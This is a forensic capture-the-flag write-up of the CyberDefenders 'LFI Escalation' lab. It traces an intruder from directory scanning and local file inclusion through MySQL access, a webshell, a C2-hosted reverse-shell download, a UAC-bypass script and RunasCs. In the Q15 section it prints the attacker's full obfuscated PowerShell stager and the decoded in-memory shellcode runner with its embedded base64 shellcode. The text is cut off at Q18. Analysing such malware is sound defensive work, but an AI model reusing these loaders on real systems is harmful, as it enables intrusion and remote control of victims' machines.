<pubDate>Tue, 09 Jun 2026 11:09:02 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*xSMvA15vFWPk0Mek52EjVg.png"></figure><blockquote>You can read this writeup on my GitBook account <a href="https://prankster.gitbook.io/prankster/cyberdefenders/endpoint-forensics/lfi-escalation"><em>Link</em></a></blockquote><blockquote><strong><em>Scenario</em></strong></blockquote><p>IT staff reported unusual behavior on a workstation running a web application, triggered by an antivirus detection of a suspicious file. Early indicators suggest the website may have served as the entry point.</p><p>Your task is to investigate the full scope of the compromise — tracing how the attacker gained access, what actions they performed, and how they established persistence on the system.</p><h4>Reconnaissance</h4><blockquote><strong><em>Q1: </em></strong><em>The threat actor began by probing the web application for hidden or accessible directories.<br>Which IP address was responsible for this scanning activity?</em></blockquote><p>in the disk image we got xampp access logs, so we need to investigate it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*socGlQ5dLeq9CezitBpa9Q.png"></figure><p>first, identify the ip address was responsible for this scanning activity, we’ve seen an ip address that made a lot of traffic, and tried to access some hidden directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b6HuFx4wlbkG0NLF6ASwOQ.png"></figure><blockquote><strong><em>218.84.168.131</em></strong></blockquote><blockquote><strong><em>Q2: </em></strong><em>When was the threat actor’s earliest recorded activity on the compromised website?</em></blockquote><p>just extract the time were this ip address first seen in the wild, and don’t forget to set the time to the UTC, because the time is UTC +9:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dk8XM-h-fHlW1fPmzMgq9A.png"></figure><blockquote><strong><em>2025-09-07 08:56</em></strong></blockquote><blockquote><strong><em>Q3</em></strong><em>: The threat actor rotated his User-Agent multiple times throughout the attack. How many User-Agents did the threat actor use during the first reconnaissance phase of the attack?</em></blockquote><p>since he rotated the user agents, so i was able to see and count the unique user agents he did use:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LkqwhexlCawVoX1xCszuqw.png"></figure><blockquote><strong><em>13</em></strong></blockquote><h4>Initial Access</h4><blockquote><strong><em>Q4: </em></strong><em>A vulnerability was discovered in the old version of the website. How many files were read by the threat actor using the discovered vulnerability?</em></blockquote><p>now we want to know how many files were read by the threat actor using a vulnerability! also the lab called <strong>LFI </strong>so i was ready to see LFI and i did actually. searching with ../ do see all possible file were read by the attacker:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tordOFI98FZYOVkcWG5_kw.png"></figure><pre>1-  system.ini<br>2-  index.php<br>3-  db.php<br>4-  config.php</pre><blockquote><strong><em>4</em></strong></blockquote><h4>Credential Access</h4><blockquote><strong><em>Q5</em></strong><em>: The threat actor was able to access the MySQL database using credentials from one of the files he accessed earlier. What is the password that the threat actor used to access the MySQL database?</em></blockquote><p>if we read the question carefully we can see that he could access the db with credentials from one of the four files he accessed earlier, which is basically <strong>config.php </strong>file. since there isn’t any file in the xampp directory, so ofc it’s in the resident data. time to parse MFT correctly, so let’s go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2EzYGnj5f9JiqBSYol4H5g.png"></figure><p>after parsing the MFT with <strong>MFTECmd.exe </strong>, getting the entry number of the file, multiplying 77932 by 1024 (NTFS MFT record size = 1024 bytes), then go to the hex address with HxD (ctrl+g)</p><p><strong>77932 x 1024 = 79,802,368 --&gt; (4C1B000)16</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*LxDm5G0noU3DTX4NAIsF8w.png"></figure><p>reversing the data from hex for better reading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A469KwqgidmC_cX7SIaOQg.png"></figure><p>or using MFT Explorer and go to the direct file path <strong><em>C:\xampp\htdocs\config.php</em></strong> and read the file data directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBxIXqoztPQNOiFqOrAGrA.png"></figure><blockquote><strong><em>IdonknowMayBe2222</em></strong></blockquote><blockquote><strong><em>Q6</em></strong><em>: When did the threat actor first successfully authenticate to the MySQL database?</em></blockquote><p>filtering for the <strong>post</strong>requests happened, so we got the best sequence<br><strong>post</strong> request to the<strong>index.php</strong>, then responded with redirection "<strong>302</strong>" , and accessed the website successfully with all files loaded "<strong>200</strong>"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*6gVW17EwBd4vshzgXOUY1g.png"></figure><blockquote><strong><em>2025-09-07 12:39</em></strong></blockquote><h4>Exfiltration</h4><blockquote><strong><em>Q7</em></strong><em>: After authenticating to the MySQL database, the threat actor targeted a specific database for exfiltration. Which database did he access?</em></blockquote><p>filtered with "<strong>db</strong>"<strong> </strong>or "<strong>db=</strong>" to get the database clearly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0V6XzzVUmhwoglFuMpkHYw.png"></figure><p>or from the <strong>config.php </strong>file that we got before from the MFT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YcTac5aG6G1rJSUiqv3SzQ.png"></figure><blockquote><strong><em>vtubermusic</em></strong></blockquote><blockquote><strong><em>Q8</em></strong><em>: Which table did the threat actor export from the database?</em></blockquote><p>we can do double search here, searching for <strong>db=tubermusic </strong>, then search in the search output for <strong>table=</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKKIROd8vKExb9id1VS3JQ.png"></figure><blockquote><strong><em>users</em></strong></blockquote><h4>Execution</h4><blockquote><strong><em>Q9</em></strong><em>: On the next day, the threat actor logged into the MySQL database again using a different IP address. What is this IP address?</em></blockquote><p>the recent ip address logged in directly next day:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*S-GD1UAh_IbOxhju-GKirw.png"></figure><blockquote><strong><em>182.44.8.254</em></strong></blockquote><blockquote><strong><em>Q10</em></strong><em>: The threat actor used SQL commands to create a webshell.<br>What is the full path of this webshell file on the system?</em></blockquote><p>we can search for<strong>cmd= </strong>or just scroll a little to find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*hmevUMnUXMlwO9TLqY-1ZA.png"><figcaption><strong>config_old.php</strong></figcaption></figure><p>now we need to get the full path, we can predict it, but let’s get it correctly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q313CfoPpS2fSfR6CzNzMw.png"></figure><blockquote><strong>C:\xampp\htdocs\config_old.php</strong></blockquote><blockquote><strong><em>Q11</em></strong><em>: The threat actor used a Living-off-the-Land Binary (LOLBin) to hide the webshell. What MITRE ATT&amp;CK technique corresponds to this activity?</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*UbeQEV6sHRbNYcP4U4iquQ.png"></figure><blockquote><strong><em>T1564.001</em></strong></blockquote><blockquote><strong><em>Q12</em></strong><em>: The threat actor executed a command to download a reverse shell payload from a C2 server. What is the domain used to host this payload?</em></blockquote><p>from the <strong>access.log </strong>file, we can view that powershell command ran</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RsALChQhI7Wtt5cQbbi_A.png"></figure><p>so let’s decode the url correctly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XbVeujIDgpF2gxFcALm3mA.png"></figure><p>then decode the base64 encoded command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IsTeNBc28SbBB6GX_ZFkuQ.png"></figure><blockquote><strong><em>wscryss.xyz</em></strong></blockquote><blockquote><strong><em>Q13</em></strong><em>: The reverse shell payload was downloaded to a specific location and executed. What is the full path of this payload?</em></blockquote><p>from the last decoded command we got in the last image above, we can get the answer directly since we know the username of the victim from the disk image "<strong>hoshisora</strong>" and the path found in the command can be from <strong>$env:TEMP\music.exe</strong> to <strong>C:\users\hoshisora\appdata\local\temp\music.exe </strong>.<br>we need to mention also that <strong>music.exe</strong> not found in the MFT, so if we need more clear evidence, we can view it clearly from the prefetch files :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HbqGkBdLfnCPZlIY_y5X9w.png"></figure><p>or from the Amcache hive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPQotTv5vAb2Ys3jjdfqjA.png"></figure><blockquote><strong>C:\users\hoshisora\appdata\local\temp\music.exe</strong></blockquote><h4>Privilege Escalation</h4><blockquote><strong><em>Q14</em></strong><em>: After establishing the C2 connection, the threat actor attempted several methods to bypass User Account Control (UAC).<br>One method used a PowerShell script. What is the name of this script?</em></blockquote><p>investigating the powershell logs, searching for scripts extensions <strong>.ps1 :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*ZGJueMcqeIA8aCINVsJgVg.png"></figure><blockquote><strong><em>LykIsnWn.ps1</em></strong></blockquote><blockquote><strong><em>Q15</em></strong><em>: The PowerShell script executed shellcode as part of its payload. What is the name of the variable that stores the raw shellcode in the script?</em></blockquote><p>since it’s a powershell script, we can investigate the powershell operational log file as it records the actual powershell code that executed, including decoded and de-obfuscated script blocks with Event ID 4104, so with a quick filter on event id 4104, and <strong>LykIsnWn.ps1 </strong>we got one single event:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhPypmebmrdoVpGFt5p7XA.png"></figure><p>now, we’ve got a huge base64 encoded command, let’s decode it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuRYoOTnTl5TL_CVoOetQg.png"></figure><pre>if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+<br>'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};<br>$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;<br>$s.Arguments='-noni -nop -w hidden -c &amp;([scriptblock]::<br>create((New-Object System.IO.StreamReader<br>(New-Object System.IO.Compression.GzipStream<br>((New-Object System.IO.MemoryStream (,[System.Convert]::FromBase64String<br>(((''H4sIAMGAvmgCA7VWa4/aOhD9Xqn/''+''IaqQkqhZCA/1LitVuglsgJawsOGxQFHlTQy4m<br>BgSh4d6+9/vOI+F1bLV{0}is1EsKxZ8bjM8dnMo98lxPmS4dH6ef7d1L6dFGA1pKS2x5K1{0}1N<br>yu066mkx54YT6bOkTI{0}Nps''+''7WiPizm5taFATY58l7voG5EYZ4/UgJDhVV+kcaLXGAr+4<br>ef2CXSz+l{0}''+''Pd8g7JHRFOzYw25SyxdGb4n1trMRSKtvLOhhCvyt2+yOr0qzvK{0}2wjRU<br>JGdY8jxOu9RKqvSL1Vs2D9usCLbxA1YyOY8PyJ+uZQf+CGa4w5E22Eb8yXzQhnOcjpNgHkU+PGh<br>RJTERpFh2A2Ya{0}hegMNQ1qSpiD+dzf5Wpunm95HPyRrnWz7HAds4ONgRF4f5Jv''+''I9iu/x<br>fAZeDg+Iv5ipKpjt2AorOT+iVJP+Sxilg/cZdG91Us6dwKrLA1WDir48ps28iOLEUb6QZ0ICFZ6<br>ECIDeLwHgPKMO+nSBOqeJ7JnGKxjyVbosJLHrZ0nXJBu2RpwFR{0}jN9YMIq7MntKUc9{0}pb7a<br>{0}RipkrOJIFTEyHjHizk/uz0ucW1VDYvM7jOp4TH9ePPloTN6OqcqkeeE5xDEc+M+tAeoqcLmC<br>vjileIC4gFrR44X''+''a7JvzJ14wI9XBguFDTELKCcqvPk0mqpsgt{0}8Z''+''rwC55B57m5n<br>BBcGadXopjtrt4ByO5RlEYalI{0}ghvqapKDEcWeJhl+SNIlI+IsHsqndO2IcuKikGfhZupzNNN<br>da8wPeRC5UFRAoO9ss''+''EsQFYBoUpN42Dw6ZJHtLl+Eo4YohYsDkXZQD''+''pgRMDhcUCWA<br>RGNaqHkH89Z6Q/EabGLBsChagDyk1yPmFlpgT76''+''cZ{0}YLEsoLXDJAzrKEYjuUcU0akoCD<br>+giMxfz/SOGl6ohcagFOK''+''6Nkd2tqH''+''rmgfw65Zv1acDRFKMYj4ICFFbC1iUL8qZJIj<br>PKhcEe6''+''Bjzjlk9t78uKFFt7+NnwG9jzj22XLLpcZ2vbrYXdhnVtkP1i715{0}DNf74uGq<br>M6xw57bFa12j2SO6WVm6pt6H8aDFW40WH7eMZn/pUr17uzoUKqFO9s2RiJXE''+''cCuV5oNul<br>MuVu7K+AvTGpLhYGV5nTfaHNox''+''BS+/aZis09Ra9/VK7fxyVrMmINgsVazkfsdD5NK4XCo<br>Wqh+r20TBM5pXt40PxnvWb7tqs+KxQrVVWxq1h1PzboW''+''Wyr2MzMLqFIVps2P4rqdLGoma<br>YlkvwpDewzF7PMo1B48e2Xi0sCtXRA1qao2GJTDYP90t4t/bNnl{0}QKy0PH9h1e0SGOxHL{0}<br>JrW5AEZ7cnRKhSK47CEViYzTADWmmyNxnK8sboU/PuDEjOGtHOy7TXrX91J8a/Q/vwBKjkdEJ+<br>XS7McK/9oCql7/y5HymfFfE{0}EbRSES0Shy''+''CDP2VWz''+''WGClittlRHgoCjTtFQ58<br>TKHRQSvMGGpQylyh9qDM0GcS9RfNaNCKE7o0UqUnQ/XUBLKpm5sJZAicj/mYb2N/wZeafijrOg<br>i4ftArMbvffrAa2xyVJJomegAA8xSdxtEhIJlLivKnwYIuz0FzXoPrNeRg{0}xUoBChWcnEFfi<br>Zj9By9+FBPLHgGHWBWhGNPRXuP+QEBrvAWREX0v/N+mtt9r/5JzqTqs4Q/7/ecOc{0}''+''9Z<br>vVNPNI1Ac2LyecTZ5L9xw4/QoSDnQP6SXHS0S9hkF6Rs8pCUYD+8/QR<br>H7h{0}Eb/qwCdTrOD/AhBI1txXCwAA'')-f''3'')))),<br>[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';<br>$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;<br>$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;<br>$p=[System.Diagnostics.Process]::Start($s);</pre><p>so what’s happening here is:</p><pre>1-  Base64 decode the payload<br>2-  Decompress with GZip<br>3-  Read decoded text into memory<br>4-  Create a ScriptBlock<br>5-  Execute it in memory</pre><p>By following this sequence in reverse, the payload can be decoded by:</p><pre>1- Extract the encoded payload string<br>2- Remove string concatenation markers (''+'' → nothing)<br>3- Replace format placeholders ({0} → 3, as applied by -f '3')<br>4- Base64-decode the result<br>5- GZip-decompress the decoded bytes<br>6- Read the decompressed text<br>7- Recover the original PowerShell code<br>➡️ Encoded string → formatted → decoded → decompressed → readable script</pre><p>so let’s extract the shellcode:</p><pre>H4sIAMGAvmgCA7VWa4/aOhD9Xqn/''+''IaqQkqhZCA/1LitVuglsgJawsOGxQFHlTQy4m<br>BgSh4d6+9/vOI+F1bLV{0}is1EsKxZ8bjM8dnMo98lxPmS4dH6ef7d1L6dFGA1pKS2x5K1{0}1N<br>yu066mkx54YT6bOkTI{0}Nps''+''7WiPizm5taFATY58l7voG5EYZ4/UgJDhVV+kcaLXGAr+4<br>ef2CXSz+l{0}''+''Pd8g7JHRFOzYw25SyxdGb4n1trMRSKtvLOhhCvyt2+yOr0qzvK{0}2wjRU<br>JGdY8jxOu9RKqvSL1Vs2D9usCLbxA1YyOY8PyJ+uZQf+CGa4w5E22Eb8yXzQhnOcjpNgHkU+PGh<br>RJTERpFh2A2Ya{0}hegMNQ1qSpiD+dzf5Wpunm95HPyRrnWz7HAds4ONgRF4f5Jv''+''I9iu/x<br>fAZeDg+Iv5ipKpjt2AorOT+iVJP+Sxilg/cZdG91Us6dwKrLA1WDir48ps28iOLEUb6QZ0ICFZ6<br>ECIDeLwHgPKMO+nSBOqeJ7JnGKxjyVbosJLHrZ0nXJBu2RpwFR{0}jN9YMIq7MntKUc9{0}pb7a<br>{0}RipkrOJIFTEyHjHizk/uz0ucW1VDYvM7jOp4TH9ePPloTN6OqcqkeeE5xDEc+M+tAeoqcLmC<br>vjileIC4gFrR44X''+''a7JvzJ14wI9XBguFDTELKCcqvPk0mqpsgt{0}8Z''+''rwC55B57m5n<br>BBcGadXopjtrt4ByO5RlEYalI{0}ghvqapKDEcWeJhl+SNIlI+IsHsqndO2IcuKikGfhZupzNNN<br>da8wPeRC5UFRAoO9ss''+''EsQFYBoUpN42Dw6ZJHtLl+Eo4YohYsDkXZQD''+''pgRMDhcUCWA<br>RGNaqHkH89Z6Q/EabGLBsChagDyk1yPmFlpgT76''+''cZ{0}YLEsoLXDJAzrKEYjuUcU0akoCD<br>+giMxfz/SOGl6ohcagFOK''+''6Nkd2tqH''+''rmgfw65Zv1acDRFKMYj4ICFFbC1iUL8qZJIj<br>PKhcEe6''+''Bjzjlk9t78uKFFt7+NnwG9jzj22XLLpcZ2vbrYXdhnVtkP1i715{0}DNf74uGq<br>M6xw57bFa12j2SO6WVm6pt6H8aDFW40WH7eMZn/pUr17uzoUKqFO9s2RiJXE''+''cCuV5oNul<br>MuVu7K+AvTGpLhYGV5nTfaHNox''+''BS+/aZis09Ra9/VK7fxyVrMmINgsVazkfsdD5NK4XCo<br>Wqh+r20TBM5pXt40PxnvWb7tqs+KxQrVVWxq1h1PzboW''+''Wyr2MzMLqFIVps2P4rqdLGoma<br>YlkvwpDewzF7PMo1B48e2Xi0sCtXRA1qao2GJTDYP90t4t/bNnl{0}QKy0PH9h1e0SGOxHL{0}<br>JrW5AEZ7cnRKhSK47CEViYzTADWmmyNxnK8sboU/PuDEjOGtHOy7TXrX91J8a/Q/vwBKjkdEJ+<br>XS7McK/9oCql7/y5HymfFfE{0}EbRSES0Shy''+''CDP2VWz''+''WGClittlRHgoCjTtFQ58<br>TKHRQSvMGGpQylyh9qDM0GcS9RfNaNCKE7o0UqUnQ/XUBLKpm5sJZAicj/mYb2N/wZeafijrOg<br>i4ftArMbvffrAa2xyVJJomegAA8xSdxtEhIJlLivKnwYIuz0FzXoPrNeRg{0}xUoBChWcnEFfi<br>Zj9By9+FBPLHgGHWBWhGNPRXuP+QEBrvAWREX0v/N+mtt9r/5JzqTqs4Q/7/ecOc{0}''+''9Z<br>vVNPNI1Ac2LyecTZ5L9xw4/QoSDnQP6SXHS0S9hkF6Rs8pCUYD+8/QR<br>H7h{0}Eb/qwCdTrOD/AhBI1txXCwAA</pre><p>with this amazing cyberchef recipe, we can decode all of it perfectly <a href="https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Extended%20(%5C%5Cn,%20%5C%5Ct,%20%5C%5Cx...)','string':'%5C'%5C'%2B%5C'%5C''%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Extended%20(%5C%5Cn,%20%5C%5Ct,%20%5C%5Cx...)','string':'%7B0%7D'%7D,'3',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)Gunzip()&amp;input=SDRzSUFNR0F2bWdDQTdWV2E0L2FPaEQ5WHFuLycnKycnSWFxUWtxaFpDQS8xTGl0VnVnbHNnSmF3c09HeFFGSGxUUXk0bQpCZ1NoNGQ2Kzkvdk9JK0YxYkxWezB9aXMxRXNLeFo4YmpNOGRuTW85OGx4UG1TNGRINmVmN2QxTDZkRkdBMXBLUzJ4NUsxezB9MU4KeXUwNjZta3g1NFlUNmJPa1RJezB9TnBzJycrJyc3V2lQaXptNXRhRkFUWTU4bDd2b0c1RVlaNC9VZ0pEaFZWK2tjYUxYR0FyKzQKZWYyQ1hTeitsezB9JycrJydQZDhnN0pIUkZPell3MjVTeXhkR2I0bjF0ck1SU0t0dkxPaGhDdnl0Mit5T3IwcXp2S3swfTJ3alJVCkpHZFk4anhPdTlSS3F2U0wxVnMyRDl1c0NMYnhBMVl5T1k4UHlKK3VaUWYrQ0dhNHc1RTIyRWI4eVh6UWhuT2NqcE5nSGtVK1BHaApSSlRFUnBGaDJBMllhezB9aGVnTU5RMXFTcGlEK2R6ZjVXcHVubTk1SFB5UnJuV3o3SEFkczRPTmdSRjRmNUp2JycrJydJOWl1L3gKZkFaZURnK0l2NWlwS3BqdDJBb3JPVCtpVkpQK1N4aWxnL2NaZEc5MVVzNmR3S3JMQTFXRGlyNDhwczI4aU9MRVViNlFaMElDRlo2CkVDSURlTHdIZ1BLTU8rblNCT3FlSjdKbkdLeGp5VmJvc0pMSHJaMG5YSkJ1MlJwd0ZSezB9ak45WU1JcTdNbnRLVWM5ezB9cGI3YQp7MH1SaXBrck9KSUZURXlIakhpemsvdXowdWNXMVZEWXZNN2pPcDRUSDllUFBsb1RONk9xY3FrZWVFNXhERWMrTSt0QWVvcWNMbUMKdmppbGVJQzRnRnJSNDRYJycrJydhN0p2ekoxNHdJOVhCZ3VGRFRFTEtDY3F2UGswbXFwc2d0ezB9OFonJysnJ3J3QzU1QjU3bTVuCkJCY0dhZFhvcGp0cnQ0QnlPNVJsRVlhbEl7MH1naHZxYXBLREVjV2VKaGwrU05JbEkrSXNIc3FuZE8ySWN1S2lrR2ZoWnVwek5OTgpkYTh3UGVSQzVVRlJBb085c3MnJysnJ0VzUUZZQm9VcE40MkR3NlpKSHRMbCtFbzRZb2hZc0RrWFpRRCcnKycncGdSTURoY1VDV0EKUkdOYXFIa0g4OVo2US9FYWJHTEJzQ2hhZ0R5azF5UG1GbHBnVDc2JycrJydjWnswfVlMRXNvTFhESkF6cktFWWp1VWNVMGFrb0NECitnaU14ZnovU09HbDZvaGNhZ0ZPSycnKycnNk5rZDJ0cUgnJysnJ3JtZ2Z3NjVadjFhY0RSRktNWWo0SUNGRmJDMWlVTDhxWkpJagpQS2hjRWU2JycrJydCanpqbGs5dDc4dUtGRnQ3K05ud0c5anpqMjJYTExwY1oydmJyWVhkaG5WdGtQMWk3MTV7MH1ETmY3NHVHcQpNNnh3NTdiRmExMmoyU082V1ZtNnB0Nkg4YURGVzQwV0g3ZU1abi9wVXIxN3V6b1VLcUZPOXMyUmlKWEUnJysnJ2NDdVY1b051bApNdVZ1N0srQXZUR3BMaFlHVjVuVGZhSE5veCcnKycnQlMrL2FaaXMwOVJhOS9WSzdmeHlWck1tSU5nc1Zhemtmc2RENU5LNFhDbwpXcWgrcjIwVEJNNXBYdDQwUHhudldiN3RxcytLeFFyVlZXeHExaDFQemJvVycnKycnV3lyMk16TUxxRklWcHMyUDRycWRMR29tYQpZbGt2d3BEZXd6RjdQTW8xQjQ4ZTJYaTBzQ3RYUkExcWFvMkdKVERZUDkwdDR0L2JObmx7MH1RS3kwUEg5aDFlMFNHT3hITHswfQpKclc1QUVaN2NuUktoU0s0N0NFVmlZelRBRFdtbXlOeG5LOHNib1UvUHVERWpPR3RIT3k3VFhyWDkxSjhhL1EvdndCS2prZEVKKwpYUzdNY0svOW9DcWw3L3k1SHltZkZmRXswfUViUlNFUzBTaHknJysnJ0NEUDJWV3onJysnJ1dHQ2xpdHRsUkhnb0NqVHRGUTU4ClRLSFJRU3ZNR0dwUXlseWg5cURNMEdjUzlSZk5hTkNLRTdvMFVxVW5RL1hVQkxLcG01c0paQWljai9tWWIyTi93WmVhZmlqck9nCmk0ZnRBck1idmZmckFhMnh5VkpKb21lZ0FBOHhTZHh0RWhJSmxMaXZLbndZSXV6MEZ6WG9Qck5lUmd7MH14VW9CQ2hXY25FRmZpClpqOUJ5OStGQlBMSGdHSFdCV2hHTlBSWHVQK1FFQnJ2QVdSRVgwdi9OK210dDlyLzVKenFUcXM0US83L2VjT2N7MH0nJysnJzlaCnZWTlBOSTFBYzJMeWVjVFo1TDl4dzQvUW9TRG5RUDZTWEhTMFM5aGtGNlJzOHBDVVlEKzgvUVIKSDdoezB9RWIvcXdDZFRyT0QvQWhCSTF0eFhDd0FB&amp;oeol=CRLF"><strong><em>LINK</em></strong></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4f_YKTIs9k-8Euuwyxeuiw.png"></figure><p>so now, by reading the following decoded script, we can answer easily:</p><pre>function xb {<br>Param ($qx28T, $vN)<br>$csZ = ([AppDomain]::CurrentDomain.GetAssemblies() |<br>Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')<br>[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')<br>return $csZ.GetMethod('GetProcAddress',<br>[Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).<br>Invoke($null, @([System.Runtime.InteropServices.HandleRef]<br>(New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),<br>($csZ.GetMethod('GetModuleHandle')).Invoke($null, @($qx28T)))), $vN)) }<br><br>function a6 {<br>Param (<br>[Parameter(Position = 0, Mandatory = $True)] [Type[]] $tdQq,<br>[Parameter(Position = 1)] [Type] $ig = [Void])<br>$g9s = [AppDomain]::CurrentDomain.DefineDynamicAssembly<br>((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),<br>[System.Reflection.Emit.AssemblyBuilderAccess]::Run).<br>DefineDynamicModule('InMemoryModule', $false).<br>DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,<br>AutoClass', [System.MulticastDelegate])<br>$g9s.DefineConstructor('RTSpecialName,HideBySig,<br>Public', [System.Reflection.CallingConventions]::Standard, $tdQq).<br>SetImplementationFlags('Runtime, Managed') $g9s.DefineMethod('Invoke',<br>'Public, HideBySig, NewSlot, Virtual', $ig, $tdQq).<br>SetImplementationFlags('Runtime, Managed')<br>return $g9s.CreateType() }<br><br>[Byte[]]$acBD8 = [System.Convert]::FromBase64String("/OiPAAAAYInlMd<br>Jki1Iwi1IMi1IUMf+LcigPt0omMcCsPGF8Aiwgwc8NAcdJde9SV4tSEItCPAHQi0B4hcB<br>0TAHQUItIGItYIAHThcl0PEkx/4s0iwHWMcCswc8NAcc44HX0A334O30kdeBYi1gkAdNm<br>iwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS6YD///<br>9daDMyAABod3MyX1RoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/<br>VagpowKi9lGgCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQM<br>/04Idexo8LWiVv/VagBqBFZXaALZyF// 1Ys2akBoABAAAFZqAGhYpFPl/<br>9WTU2oAVlNXaALZyF//1QHDKcZ17sM=")<br>[Uint32]$o3jH = 0 $i3 = [System.Runtime.InteropServices.Marshal]::<br>GetDelegateForFunctionPointer((xb kernel32.dll VirtualAlloc),<br>(a6 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).<br>Invoke([IntPtr]::Zero, $acBD8.Length,0x3000, 0x04)<br><br>[System.Runtime.InteropServices.Marshal]::<br>Copy($acBD8, 0, $i3, $acBD8.length)<br>if (([System.Runtime.InteropServices.Marshal]::<br>GetDelegateForFunctionPointer ((xb kernel32.dll VirtualProtect),<br>(a6 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType())<br>([Bool]))).Invoke($i3, [Uint32]<br>$acBD8.Length,0x10,[Ref]$o3jH)) -eq $true) {<br>$v_9 = [System.Runtime.InteropServices.Marshal]::<br>GetDelegateForFunctionPointer((xb kernel32.dll CreateThread),<br>(a6 @([IntPtr] ,[UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])<br>([IntPtr]))). Invoke([IntPtr]::Zero,0,<br>$i3,[IntPtr]::Zero,0,[IntPtr]::Zero)<br>[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer<br>((xb kernel32.dll WaitForSingleObject), (a6 @([IntPtr], [Int32]))).<br>Invoke($v_9,0xffffffff) | Out-Null  }</pre><blockquote><strong><em>acBD8</em></strong></blockquote><blockquote><strong><em>Q16</em></strong><em>: After failing to bypass UAC, the threat actor downloaded another binary to authenticate as the compromised user.<br>What is the original filename of this binary?</em></blockquote><p>According to the question, the attacker downloaded and executed another binary for authentication. Therefore, by filtering Event ID 4624 (successful logon), we can review the associated logon events and identify the processes and files involved during the authentication activity.</p><p>filtered Event ID 4624 and focused on the user hoshisora &lt;victim&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*gmI3q02mCPRKjVafQMCS4Q.png"></figure><p>found a suspicious binary file, so we need deep investigation for this one:<br><strong>r.exe</strong> file not found in MFT, so i did use NTFS log tracker with and <strong>$MFT </strong><strong>$Logfile </strong><strong>$J </strong>but it was nothing!! so only option we got is Amcache hive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pr8rhzqpe20Gn5jIpOpXbg.png"></figure><p>after parsing the <strong>Amcache </strong>with Amcacheparser.exe , we got the <strong>sha1 </strong>hash for the <strong>r.exe</strong> file, and using <strong>VirusTotal </strong>we can get the original filename:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z2Bf7mqqfll1c0yZHXrXdw.png"></figure><blockquote><strong><em>RunasCs.exe</em></strong></blockquote><blockquote><strong><em>Q17</em></strong><em>: What is the SHA-256 hash of the reverse-shell payload the threat actor uploaded and used with the previously identified binary?</em></blockquote><p>Soooo!! answering this question is kinda hard to solve directly without completing all questions, it’s related to <strong>Q19 </strong>&amp;<strong> Q20 </strong>in Persistence section.<br>also, reading the challenge description might help, so anyways let’s dig more<br>by investigating the windows defender logs, we can view that there’s a file caught as a malware by the windows defender, and marked as a trojan/meterpreter reverse-shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*jQqzdJ13A2GkTqooeX802Q.png"></figure><p>So we can get the hash from the <strong>MPLog-*.log </strong>file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bLxok-RnPkbUZhTPXFIzyA.png"></figure><blockquote><strong><em>087e9494deb843bf6c1f9284697658cb06ac1ac537c1b738ec3bc80f24f32731</em></strong></blockquote><h4>Persistence</h4><blockquote><strong><em>Q18</em></strong><em>: Which MITRE ATT&amp;CK technique did the threat actor use to establish persistence through registry modifications that execute a payload upon a program’s silent termination?</em></blockquote><figure><img alt="" 